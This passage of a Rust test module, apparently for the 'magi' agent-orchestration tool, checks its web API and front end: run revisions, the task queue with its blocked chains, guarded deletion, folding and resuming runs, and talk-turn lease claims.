18690 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18691
18692 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18693 std::thread::sleep(Duration::from_millis(10));
18694 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18695
18696 let rev_before = runs_revision(&runs);
18697 assert!(rev_before > 0);
18698
18699 let old_dir = runs.join("20260901-100000-old1");
18700 std::fs::remove_dir_all(&old_dir).expect("remove old run");
18701
18702 let rev_after = runs_revision(&runs);
18703 assert_ne!(
18704 rev_before, rev_after,
18705 "deleting an older run must change the revision so other clients see the deletion"
18706 );
18707 }
18708
18709 fn write_state(runs: &FsPath, state: &RunState) {
18714 let dir = runs.join(&state.id);
18715 std::fs::create_dir_all(&dir).expect("run dir");
18716 std::fs::write(
18717 dir.join("run.json"),
18718 serde_json::to_string_pretty(state).expect("serialize run"),
18719 )
18720 .expect("write run.json");
18721 }
18722
18723 #[test]
18728 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18729 let temp = TempDir::new().expect("tempdir");
18730 let runs = temp.path().join("runs");
18731 std::fs::create_dir_all(&runs).expect("create runs dir");
18732 let mut state = RunState::new(
18733 PathBuf::from("/repo/magi"),
18734 "main".to_owned(),
18735 "0123456789abcdef".to_owned(),
18736 "task".to_owned(),
18737 Config::default(),
18738 );
18739 state.id = "20260902-100000-c0de".to_owned();
18740 write_state(&runs, &state);
18741
18742 let rev_idle = runs_revision(&runs);
18743 std::thread::sleep(Duration::from_millis(10));
18744 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18745 write_state(&runs, &state);
18746 let rev_started = runs_revision(&runs);
18747 assert_ne!(
18748 rev_idle, rev_started,
18749 "a seat starting must move the revision"
18750 );
18751
18752 std::thread::sleep(Duration::from_millis(10));
18753 state.seat_finished("judge-1");
18754 write_state(&runs, &state);
18755 let rev_finished = runs_revision(&runs);
18756 assert_ne!(
18757 rev_started, rev_finished,
18758 "and clearing it again must move the revision a second time"
18759 );
18760 }
18761
18762 #[tokio::test]
18763 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
18764 let fx = Fixture::start().await;
18769 let q = fx.queue();
18770
18771 let mut t = Task::new(
18772 "Task".to_owned(),
18773 "Instruction".to_owned(),
18774 PathBuf::from("/repo"),
18775 Source::Human,
18776 );
18777 t.block(
18778 vec!["20260101-000000-dead".to_owned()],
18779 Some("waiting on Task 1".to_owned()),
18780 );
18781 t.answers.push(crate::queue::AnsweredQuestion {
18782 question: "Which backend?".to_owned(),
18783 answer: "SQLite".to_owned(),
18784 });
18785 q.put(&mut t).expect("put t");
18786
18787 let res = fx.get("/api/queue").await;
18788 assert_eq!(res.status, 200);
18789 let list = res.json();
18790 let view = list
18791 .as_array()
18792 .expect("array")
18793 .iter()
18794 .find(|v| v["id"] == t.id)
18795 .expect("task in list");
18796 assert_eq!(view["status_str"], "blocked");
18797 assert_eq!(
18798 view["blocked_by"],
18799 serde_json::json!(["20260101-000000-dead"])
18800 );
18801 assert_eq!(view["block_reason"], "waiting on Task 1");
18802 assert_eq!(view["answers"][0]["question"], "Which backend?");
18803 assert_eq!(view["answers"][0]["answer"], "SQLite");
18804
18805 let res = fx
18809 .post(&format!("/api/queue/{}/hold", t.short()), None)
18810 .await;
18811 assert_eq!(res.status, 200);
18812 let held = res.json();
18813 assert_eq!(held["status_str"], "held");
18814 assert_eq!(held["blocked_by"], serde_json::json!([]));
18815 assert!(held["block_reason"].is_null());
18816 assert_eq!(held["answers"][0]["answer"], "SQLite");
18817 }
18818
18819 #[tokio::test]
18820 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18821 let fx = Fixture::start().await;
18822 let q = fx.queue();
18823 let mk = |title: &str| {
18824 Task::new(
18825 title.to_owned(),
18826 "Instruction".to_owned(),
18827 PathBuf::from("/repo"),
18828 Source::Human,
18829 )
18830 };
18831 let mut root = mk("root");
18832 root.hold_manual(Some("waiting".to_owned()));
18833 q.put(&mut root).unwrap();
18834 let mut mid = mk("mid");
18835 mid.block(vec![root.id.clone()], None);
18836 q.put(&mut mid).unwrap();
18837 let mut leaf = mk("leaf");
18838 leaf.block(vec![mid.id.clone()], None);
18839 q.put(&mut leaf).unwrap();
18840
18841 let list = fx.get("/api/queue").await.json();
18842 let find = |id: &str| {
18843 list.as_array()
18844 .unwrap()
18845 .iter()
18846 .find(|v| v["id"] == id)
18847 .unwrap()
18848 .clone()
18849 };
18850 let leaf_view = find(&leaf.id);
18851 assert_eq!(
18852 leaf_view["waits_on"],
18853 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18854 );
18855 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18856 assert_eq!(
18857 find(&mid.id)["waits_on"],
18858 serde_json::json!([format!("{} (held)", root.short())])
18859 );
18860 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18861 }
18862
18863 #[tokio::test]
18864 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18865 let fx = Fixture::start().await;
18866 let q = fx.queue();
18867
18868 let mut t1 = Task::new(
18870 "Task 1".to_owned(),
18871 "Instruction 1".to_owned(),
18872 PathBuf::from("/repo"),
18873 Source::Human,
18874 );
18875 let run_id = "20260901-000000-r111";
18876 t1.runs.push(run_id.to_owned());
18877 write_run(&fx.runs(), run_id, RunStatus::Merged);
18878 q.put(&mut t1).expect("put t1");
18879
18880 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18882 assert_eq!(res.status, 204);
18883 assert!(res.body.is_empty(), "204 No Content has no body");
18884 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18885 assert!(
18886 fx.runs().join(run_id).exists(),
18887 "run directory must not be deleted when its task is deleted"
18888 );
18889
18890 let mut t2 = Task::new(
18892 "Task 2".to_owned(),
18893 "Instruction 2".to_owned(),
18894 PathBuf::from("/repo"),
18895 Source::Human,
18896 );
18897 t2.status = TaskStatus::Running;
18898 q.put(&mut t2).expect("put t2");
18899 let mut beat = crate::daemon::Status::new();
18900 beat.current = vec![crate::daemon::Current {
18901 task: t2.id.clone(),
18902 run: "20260901-000000-r222".to_owned(),
18903 }];
18904 beat.updated_at = jiff::Timestamp::now();
18905 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18906 .expect("publish a heartbeat");
18907 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18908 assert_eq!(res.status, 409);
18909 assert!(
18910 res.json()["error"]
18911 .as_str()
18912 .unwrap()
18913 .contains("live daemon")
18914 );
18915 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18916
18917 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18923 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18924 .expect("leave a stale heartbeat");
18925 let mut t3 = Task::new(
18926 "Task 3".to_owned(),
18927 "Instruction 3".to_owned(),
18928 PathBuf::from("/repo"),
18929 Source::Human,
18930 );
18931 t3.status = TaskStatus::Running;
18932 q.put(&mut t3).expect("put t3");
18933 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18934 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18935 assert_eq!(res.status, 204);
18936 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18937 assert!(
18938 q.claim(&t3.id).is_ok(),
18939 "the stale lock went with it, so the id is claimable again"
18940 );
18941
18942 let res = fx.delete("/api/queue/nonexistent").await;
18944 assert_eq!(res.status, 404);
18945 }
18946
18947 #[tokio::test]
18948 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18949 let fx = Fixture::start().await;
18950 let runs = fx.runs();
18951
18952 let run_id = "20260901-000000-fold";
18954 let mut state = RunState::new(
18955 PathBuf::from("/repo"),
18956 "main".to_owned(),
18957 "abc".to_owned(),
18958 "instruction".to_owned(),
18959 Config::default(),
18960 );
18961 state.id = run_id.to_owned();
18962 state.status = RunStatus::Merged;
18963 state.candidates.push(crate::run::Candidate {
18964 index: 0,
18965 label: 'A',
18966 agent: "a".to_owned(),
18967 branch: "b".to_owned(),
18968 worktree: PathBuf::from("/w"),
18969 summary: String::new(),
18970 stat: String::new(),
18971 files: 1,
18972 commits: 1,
18973 empty: false,
18974 failed: None,
18975 verified_noop: None,
18976 duration_ms: 0,
18977 folded: true,
18978 });
18979 let dir = runs.join(run_id);
18980 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18981 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18982 .expect("write artifact");
18983 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18984 .expect("write run.json");
18985
18986 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
18988 assert_eq!(res.status, 204);
18989 assert!(res.body.is_empty(), "204 has no body");
18990 assert!(!dir.exists(), "run directory and artifacts must be deleted");
18991
18992 let run_running = "20260901-000000-rung";
18997 write_run(&runs, run_running, RunStatus::Prep);
18998 let mut beat = crate::daemon::Status::new();
18999 beat.current = vec![crate::daemon::Current {
19000 task: "20260901-000000-task".to_owned(),
19001 run: run_running.to_owned(),
19002 }];
19003 beat.updated_at = jiff::Timestamp::now();
19004 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19005 .expect("publish a heartbeat");
19006 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19007 assert_eq!(res.status, 409);
19008 assert!(
19009 res.json()["error"]
19010 .as_str()
19011 .unwrap()
19012 .contains("live daemon"),
19013 "the refusal must say who is holding it"
19014 );
19015 assert!(
19016 runs.join(run_running).exists(),
19017 "a run in flight keeps its directory"
19018 );
19019
19020 let run_unfolded = "20260901-000000-unfd";
19022 let mut state2 = RunState::new(
19023 PathBuf::from("/repo"),
19024 "main".to_owned(),
19025 "abc".to_owned(),
19026 "instruction".to_owned(),
19027 Config::default(),
19028 );
19029 state2.id = run_unfolded.to_owned();
19030 state2.status = RunStatus::Ready;
19031 state2.candidates.push(crate::run::Candidate {
19032 index: 0,
19033 label: 'A',
19034 agent: "a".to_owned(),
19035 branch: "b".to_owned(),
19036 worktree: PathBuf::from("/w"),
19037 summary: String::new(),
19038 stat: String::new(),
19039 files: 1,
19040 commits: 1,
19041 empty: false,
19042 failed: None,
19043 verified_noop: None,
19044 duration_ms: 0,
19045 folded: false,
19046 });
19047 let dir2 = runs.join(run_unfolded);
19048 std::fs::create_dir_all(&dir2).expect("create dir2");
19049 std::fs::write(
19050 dir2.join("run.json"),
19051 serde_json::to_string(&state2).unwrap(),
19052 )
19053 .expect("write run.json");
19054
19055 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19056 assert_eq!(res.status, 409);
19057 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19058 assert!(dir2.exists(), "unfolded run directory is kept");
19059
19060 let res = fx.delete("/api/runs/nonexistent").await;
19062 assert_eq!(res.status, 404);
19063 }
19064
19065 #[test]
19074 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19075 let start = APP_JS
19076 .find("function renderStats() {")
19077 .expect("renderStats");
19078 let end = start
19079 + APP_JS[start..]
19080 .find("function statsTile(")
19081 .expect("the next top-level function");
19082 let body = &APP_JS[start..end];
19083
19084 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19085 let gate_end = gate_start
19086 + body[gate_start..]
19087 .find("}\n renderStatsQueue")
19088 .expect("the gate's own closing brace, right before the unconditional call");
19089 let gated = &body[gate_start..gate_end];
19090
19091 assert_eq!(
19092 body.matches("renderStatsQueue(").count(),
19093 1,
19094 "renderStats must call renderStatsQueue exactly once: {body}"
19095 );
19096 assert!(
19097 !gated.contains("renderStatsQueue"),
19098 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19099 run-derived panels on an empty run history - the queue panel has to render \
19100 regardless: {gated}"
19101 );
19102 }
19103
19104 #[test]
19105 fn web_ui_delete_contract_in_front_end() {
19106 assert!(APP_JS.contains("deleteRun:"));
19108 assert!(APP_JS.contains("deleteTask:"));
19109
19110 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19112 ..APP_JS.find("function renderRuns").unwrap()];
19113 assert!(!run_cards_slice.to_lowercase().contains("delete"));
19114
19115 assert!(APP_JS.contains("renderRunDelete"));
19117 assert!(APP_JS.contains("runDeleteReason"));
19118 assert!(APP_JS.contains("magi fold"));
19119 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19120
19121 assert!(APP_JS.contains("cancel.focus"));
19123 assert!(APP_JS.contains("armedRunDelete"));
19124 assert!(APP_JS.contains("renderTaskDeleteBox"));
19125 assert!(APP_JS.contains("armed${cap(key)}"));
19126
19127 assert!(APP_JS.contains("disabled: status === \"running\""));
19129 }
19130
19131 #[test]
19151 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19152 let build = APP_JS
19153 .find("function createRunCard")
19154 .expect("createRunCard exists");
19155 let update = APP_JS
19156 .find("function updateRunCard")
19157 .expect("updateRunCard exists");
19158 let end = APP_JS
19159 .find("function renderRuns")
19160 .expect("renderRuns exists");
19161
19162 let builder = &APP_JS[build..update];
19164 let open = builder.find("refs = {").expect("createRunCard sets refs");
19165 let literal = &builder[open + "refs = {".len()..];
19166 let close = literal.find('}').expect("the refs literal is closed");
19167 let published: HashSet<&str> = literal[..close]
19168 .split(',')
19169 .filter_map(|entry| entry.split(':').next())
19171 .map(str::trim)
19172 .filter(|name| !name.is_empty())
19173 .collect();
19174 assert!(
19175 published.len() > 5,
19176 "the refs literal did not parse into names: {published:?}"
19177 );
19178
19179 let mut used: Vec<&str> = Vec::new();
19182 let updaters = &APP_JS[update..end];
19183 for (at, _) in updaters.match_indices("r.") {
19184 let before = updaters[..at].chars().next_back();
19187 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19188 continue;
19189 }
19190 let rest = &updaters[at + 2..];
19191 let len = rest
19192 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19193 .unwrap_or(rest.len());
19194 if len > 0 {
19195 used.push(&rest[..len]);
19196 }
19197 }
19198 assert!(
19199 used.len() > 5,
19200 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19201 );
19202
19203 let missing: Vec<&str> = used
19204 .iter()
19205 .copied()
19206 .filter(|name| !published.contains(name))
19207 .collect();
19208 assert!(
19209 missing.is_empty(),
19210 "a run card's updater reaches for {missing:?}, which `createRunCard` \
19211 never put in `refs` - every card will throw and the list will \
19212 render empty under a count line that says otherwise. Published: \
19213 {published:?}"
19214 );
19215 }
19216
19217 #[tokio::test]
19218 async fn folding_from_the_phone_reports_what_it_removed() {
19219 let fx = Fixture::start().await;
19220 let runs = fx.runs();
19221
19222 let id = "20260901-000000-fold";
19226 write_run(&runs, id, RunStatus::Stalled);
19227 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19228 assert_eq!(res.status, 200);
19229 assert_eq!(res.json()["removed_count"], 0);
19230 assert_eq!(res.json()["run"], id);
19231 assert!(
19232 runs.join(id).exists(),
19233 "a fold keeps the run's record; only the worktrees go"
19234 );
19235 }
19236
19237 #[tokio::test]
19238 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19239 let fx = Fixture::start().await;
19240 let runs = fx.runs();
19241 let wt = fx.home.path().join("wt").join("magi").join("dead");
19242 let id = "20260901-000000-dead";
19243 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19244 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19245 std::fs::create_dir_all(&wt).expect("worktree dir");
19246
19247 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19248 assert_eq!(res.status, 200, "{}", res.body);
19249 assert!(
19250 res.json()["removed_count"].as_u64().unwrap() > 0,
19251 "the worktree this build could not read a state for still went"
19252 );
19253 assert!(
19254 !runs.join(id).exists(),
19255 "an unreadable run has no candidate list to fold selectively, so \
19256 the whole record goes - same as `magi fold` on the CLI"
19257 );
19258 }
19259
19260 #[tokio::test]
19261 async fn deleting_an_unreadable_run_removes_it_wholesale() {
19262 let fx = Fixture::start().await;
19263 let runs = fx.runs();
19264 let wt = fx.home.path().join("wt").join("magi").join("gone");
19265 let id = "20260901-000000-gone";
19266 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19267 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19268 std::fs::create_dir_all(&wt).expect("worktree dir");
19269
19270 let res = fx.delete(&format!("/api/runs/{id}")).await;
19271 assert_eq!(res.status, 204, "{}", res.body);
19272 assert!(!runs.join(id).exists(), "the broken record is gone");
19273 assert!(!wt.exists(), "its worktree is gone too");
19274 }
19275
19276 #[tokio::test]
19277 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19278 let fx = Fixture::start().await;
19279 let runs = fx.runs();
19280 let id = "20260901-000000-live";
19281 write_run(&runs, id, RunStatus::Implementing);
19282
19283 let mut beat = crate::daemon::Status::new();
19284 beat.current = vec![crate::daemon::Current {
19285 task: "20260901-000000-task".to_owned(),
19286 run: id.to_owned(),
19287 }];
19288 beat.updated_at = jiff::Timestamp::now();
19289 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19290 .expect("publish a heartbeat");
19291
19292 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19293 assert_eq!(res.status, 409);
19294 assert!(
19295 res.json()["error"]
19296 .as_str()
19297 .unwrap()
19298 .contains("live daemon"),
19299 "folding under a running agent would pull its worktree away"
19300 );
19301 }
19302
19303 #[tokio::test]
19304 async fn fold_merged_requires_a_pr_url() {
19305 let fx = Fixture::start().await;
19306 let runs = fx.runs();
19307 let id = "20260901-000000-nourl";
19308 write_run(&runs, id, RunStatus::Blocked);
19309
19310 let res = fx
19311 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19312 .await;
19313 assert_eq!(res.status, 400, "{}", res.body);
19314
19315 let blank = fx
19316 .post(
19317 &format!("/api/runs/{id}/fold-merged"),
19318 Some(r#"{"pr_url":" "}"#),
19319 )
19320 .await;
19321 assert_eq!(blank.status, 400, "{}", blank.body);
19322 }
19323
19324 #[tokio::test]
19325 async fn fold_merged_is_404_for_an_unknown_run() {
19326 let fx = Fixture::start().await;
19327 let res = fx
19328 .post(
19329 "/api/runs/nosuchrun/fold-merged",
19330 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19331 )
19332 .await;
19333 assert_eq!(res.status, 404, "{}", res.body);
19334 }
19335
19336 #[tokio::test]
19337 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19338 let fx = Fixture::start().await;
19339 let runs = fx.runs();
19340 let id = "20260901-000000-livemerge";
19341 write_run(&runs, id, RunStatus::Blocked);
19342
19343 let mut beat = crate::daemon::Status::new();
19344 beat.current = vec![crate::daemon::Current {
19345 task: "20260901-000000-task".to_owned(),
19346 run: id.to_owned(),
19347 }];
19348 beat.updated_at = jiff::Timestamp::now();
19349 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19350 .expect("publish a heartbeat");
19351
19352 let res = fx
19353 .post(
19354 &format!("/api/runs/{id}/fold-merged"),
19355 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19356 )
19357 .await;
19358 assert_eq!(res.status, 409, "{}", res.body);
19359 assert!(
19360 res.json()["error"]
19361 .as_str()
19362 .unwrap()
19363 .contains("live daemon"),
19364 "correcting a run's merge underneath a running agent would race \
19365 whatever it is doing to the same `status`/`merge` fields"
19366 );
19367 }
19368
19369 #[tokio::test]
19374 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19375 let fx = Fixture::start().await;
19376 let runs = fx.runs();
19377 let id = "20260901-000000-unconfirmed";
19378 write_run(&runs, id, RunStatus::Blocked);
19379
19380 let res = fx
19381 .post(
19382 &format!("/api/runs/{id}/fold-merged"),
19383 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19384 )
19385 .await;
19386 assert_eq!(res.status, 400, "{}", res.body);
19387 assert_eq!(
19388 read_run(&runs, id).unwrap().status,
19389 RunStatus::Blocked,
19390 "a pull request that could not be confirmed merged must leave \
19391 the run exactly where it was"
19392 );
19393 }
19394
19395 #[tokio::test]
19396 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19397 let fx = Fixture::start().await;
19398 let runs = fx.runs();
19399
19400 for (status, word) in [
19406 (RunStatus::Merged, "merged"),
19407 (RunStatus::Ready, "ready"),
19408 (RunStatus::Failed, "failed"),
19409 ] {
19410 let id = format!("20260901-000000-{}", &word[..4]);
19411 write_run(&runs, &id, status);
19412 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19413 assert_eq!(res.status, 409, "{word} must not be resumable");
19414 let err = res.json()["error"].as_str().unwrap().to_owned();
19415 assert!(err.contains(word), "the refusal names the status: {err}");
19416 }
19417
19418 let mid = "20260901-000000-midf";
19423 write_run(&runs, mid, RunStatus::Reviewing);
19424 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19425 assert_eq!(res.status, 202, "an interrupted run is resumable");
19426 }
19427
19428 #[tokio::test]
19429 async fn resume_is_refused_while_the_loop_is_running() {
19430 let fx = Fixture::start().await;
19431 let runs = fx.runs();
19432 let stalled = "20260901-000000-stal";
19433 write_run(&runs, stalled, RunStatus::Stalled);
19434
19435 let mut beat = crate::daemon::Status::new();
19439 beat.current = vec![crate::daemon::Current {
19440 task: "20260901-000000-task".to_owned(),
19441 run: "20260901-000000-othr".to_owned(),
19442 }];
19443 beat.updated_at = jiff::Timestamp::now();
19444 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19445 .expect("publish a heartbeat");
19446
19447 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19448 assert_eq!(res.status, 409);
19449 let err = res.json()["error"].as_str().unwrap().to_owned();
19450 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19451 assert!(err.contains("stop it first"), "{err}");
19452 }
19453
19454 #[test]
19455 fn a_run_cannot_be_resumed_twice_at_once() {
19456 let home = TempDir::new().expect("temp home");
19457 let ui = Ui::new(
19458 Queue::at(home.path().join("queue")),
19459 Questions::at(home.path().join("questions")),
19460 Talks::at(home.path().join("talks")),
19461 home.path().join("runs"),
19462 home.path().to_path_buf(),
19463 PathBuf::from("/repo"),
19464 )
19465 .with_worktrees_root(home.path().join("wt"));
19466 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19467 let again = ui.begin_resume("20260901-000000-once");
19468 assert!(again.is_err(), "a second tap must not start a second graph");
19469 drop(first);
19470 assert!(
19471 ui.begin_resume("20260901-000000-once").is_ok(),
19472 "and the claim is released when the attempt ends"
19473 );
19474 }
19475
19476 #[test]
19477 fn talk_thinking_tracks_only_its_held_turn_claim() {
19478 let home = TempDir::new().expect("temp home");
19479 let ui = Ui::new(
19480 Queue::at(home.path().join("queue")),
19481 Questions::at(home.path().join("questions")),
19482 Talks::at(home.path().join("talks")),
19483 home.path().join("runs"),
19484 home.path().to_path_buf(),
19485 PathBuf::from("/repo"),
19486 )
19487 .with_worktrees_root(home.path().join("wt"));
19488 let id = "20260901-000000-once";
19489
19490 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19491 let turn = ui.begin_talk_turn(id).expect("claim turn");
19492 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19493 assert!(
19494 !ui.is_thinking("20260901-000000-other"),
19495 "one talk's turn does not make another talk busy"
19496 );
19497 drop(turn);
19498 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19499 }
19500
19501 #[test]
19502 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19503 let home = TempDir::new().expect("temp home");
19504 let talks = Talks::at(home.path().join("talks"));
19505 let ui = Ui::new(
19506 Queue::at(home.path().join("queue")),
19507 Questions::at(home.path().join("questions")),
19508 talks.clone(),
19509 home.path().join("runs"),
19510 home.path().to_path_buf(),
19511 PathBuf::from("/repo"),
19512 )
19513 .with_worktrees_root(home.path().join("wt"));
19514 let id = "20260901-000000-cross";
19515
19516 let other = Talks::at(home.path().join("talks"))
19517 .claim_turn(id)
19518 .expect("claim")
19519 .expect("the other process wins");
19520 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19521 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19522 assert!(
19523 matches!(
19524 ui.begin_talk_turn_unless_pending(id).expect("start"),
19525 TalkTurnStart::Foreign
19526 ),
19527 "a foreign holder is refused, not queued behind"
19528 );
19529 assert!(
19530 !ui.talk_turns.lock().unwrap().live.contains(id),
19531 "a refused claim leaves no in-process entry behind"
19532 );
19533 drop(other);
19534 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19535 assert!(talks.turn_held(id), "the web turn holds the lease");
19536 drop(turn);
19537 assert!(
19538 !talks.turn_held(id),
19539 "dropping the guard releases the lease"
19540 );
19541 }
19542
19543 fn consult_question(ui: &Ui) -> Question {
19544 let mut q = Question::new(
19545 "20260901-000000-consult".to_owned(),
19546 "implement".to_owned(),
19547 "impl-A".to_owned(),
19548 "Which backend?".to_owned(),
19549 String::new(),
19550 vec!["SQLite".to_owned(), "Redis".to_owned()],
19551 );
19552 ui.questions.put(&mut q).expect("question");
19553 q
19554 }
19555
19556 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19557 (
19558 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19559 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19560 )
19561 }
19562
19563 #[tokio::test]
19564 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19565 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19566 let q = consult_question(&ui);
19567 let talk = ui.talks.get(&id).expect("talk");
19568 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19569 let before = consult_snapshot(&ui, &q, &id);
19570 let cli_talks = Talks::at(ui.home.join("talks"));
19571 assert_eq!(
19572 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19573 .await
19574 .expect("CLI starter"),
19575 crate::consult::Started::Busy
19576 );
19577 assert_eq!(consult_snapshot(&ui, &q, &id), before);
19578 assert!(ui.is_thinking(&id));
19579 drop(guard);
19580 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19581 }
19582
19583 #[tokio::test]
19584 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19585 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19586 let q = consult_question(&ui);
19587 let talk = ui.talks.get(&id).expect("talk");
19588 let started = tmp.path().join("started");
19589 let release = tmp.path().join("release");
19590 let script = tmp.path().join("consult-agent.sh");
19591 std::fs::write(
19592 &script,
19593 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
19594 )
19595 .expect("script");
19596 let mut cfg = stub_config();
19597 cfg.agents[0].id = "mock".to_owned();
19598 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19599 cfg.agents[0].env = std::collections::BTreeMap::from([
19600 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19601 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19602 ]);
19603 let questions = ui.questions.clone();
19604 let cli_talks = Talks::at(ui.home.join("talks"));
19605 let cli_q = q.clone();
19606 let turn = tokio::spawn(async move {
19607 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19608 });
19609 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19610 while !started.exists() {
19611 tokio::time::sleep(Duration::from_millis(10)).await;
19612 }
19613 })
19614 .await;
19615 let refusal = if ready.is_ok() {
19618 let before = consult_snapshot(&ui, &q, &id);
19619 let result = talk_say(
19620 State(Arc::clone(&ui)),
19621 Path(id.clone()),
19622 Ok(Json(NewTalkTurn {
19623 reply_to: None,
19624 text: "another message".to_owned(),
19625 attachments: Vec::new(),
19626 })),
19627 )
19628 .await;
19629 Some((result, before, consult_snapshot(&ui, &q, &id)))
19630 } else {
19631 None
19632 };
19633 std::fs::write(&release, "").expect("release agent");
19634 let done = turn.await.expect("join CLI turn");
19635 ready.expect("agent started before deadline");
19636 let (result, before, after) = refusal.expect("web request");
19637 let error = result.expect_err("web must refuse the CLI's turn");
19638 assert_eq!(error.status, StatusCode::CONFLICT);
19639 assert!(error.message.contains("a turn is already running"));
19640 assert_eq!(
19641 after, before,
19642 "refusal preserves question, draft and history"
19643 );
19644 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19645 let guard = ui
19646 .begin_talk_turn(&id)
19647 .expect("web claim")
19648 .expect("free again");
19649 drop(guard);
19650 }
19651
19652 #[test]
19653 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19654 let home = TempDir::new().expect("temp home");
19655 let talks = Talks::at(home.path().join("talks"));
19656 let ui = Ui::new(
19657 Queue::at(home.path().join("queue")),
19658 Questions::at(home.path().join("questions")),
19659 talks.clone(),
19660 home.path().join("runs"),
19661 home.path().to_path_buf(),
19662 PathBuf::from("/repo"),
19663 )
19664 .with_worktrees_root(home.path().join("wt"));
19665 let id = "20260901-000000-order";
19666 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19667 let slots = ui.talk_turns.lock().unwrap();
19669 let dropper = std::thread::spawn(move || drop(turn));
19670 let start = std::time::Instant::now();
19671 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19672 std::thread::sleep(Duration::from_millis(5));
19673 }
19674 assert!(!talks.turn_held(id), "the lease is released first");
